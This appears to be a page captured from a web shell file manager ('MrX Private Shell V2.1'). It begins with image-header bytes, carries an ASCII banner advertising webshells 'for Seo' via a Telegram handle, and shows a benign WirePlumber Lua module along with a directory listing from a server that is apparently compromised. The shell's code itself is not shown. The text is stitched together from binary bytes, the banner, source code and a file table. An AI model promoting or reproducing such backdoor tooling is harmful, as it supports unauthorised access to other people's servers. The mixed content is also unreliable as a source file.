����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
-- WirePlumber
--
-- Copyright © 2022 Collabora Ltd.
--
-- SPDX-License-Identifier: MIT
local module = {
-- table of device info
dev_infos = {},
}
SimpleEventHook {
name = "lib/device-info-cache/cleanup",
interests = {
EventInterest {
Constraint { "event.type", "=", "device-removed" },
},
},
execute = function (event)
local props = event:get_properties ()
local device_id = props ["object.serial"]
Log.trace ("cleaning up dev_info for object.serial = " .. device_id)
module.dev_infos [device_id] = nil
end
}:register()
function module.get_device_info (self, device)
local device_properties = device.properties
local device_id = device_properties ["object.serial"]
local dev_info = self.dev_infos [device_id]
-- new device
if not dev_info then
local device_name = device_properties ["device.name"]
if not device_name then
Log.warning (device, "invalid device.name")
return nil
end
Log.trace (device, string.format (
"create dev_info for '%s', object.serial = %s", device_name, device_id))
dev_info = {
name = device_name,
active_profile = -1,
route_infos = {},
}
self.dev_infos [device_id] = dev_info
end
return dev_info
end
function module.find_route_info (dev_info, route, return_new)
local ri = dev_info.route_infos [route.index]
if not ri and return_new then
ri = {
index = route.index,
name = route.name,
direction = route.direction,
devices = route.devices or {},
profiles = route.profiles,
priority = route.priority or 0,
available = route.available or "unknown",
prev_available = route.available or "unknown",
active = false,
prev_active = false,
save = false,
}
end
return ri
end
return module
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| audio-group-utils.lua | File | 643 B | 0644 |
|
| common-utils.lua | File | 2.33 KB | 0644 |
|
| device-info-cache.lua | File | 1.78 KB | 0644 |
|
| filter-utils.lua | File | 12.41 KB | 0644 |
|
| linking-utils.lua | File | 13.21 KB | 0644 |
|
| monitor-utils.lua | File | 4.41 KB | 0644 |
|
| node-utils.lua | File | 1.21 KB | 0644 |
|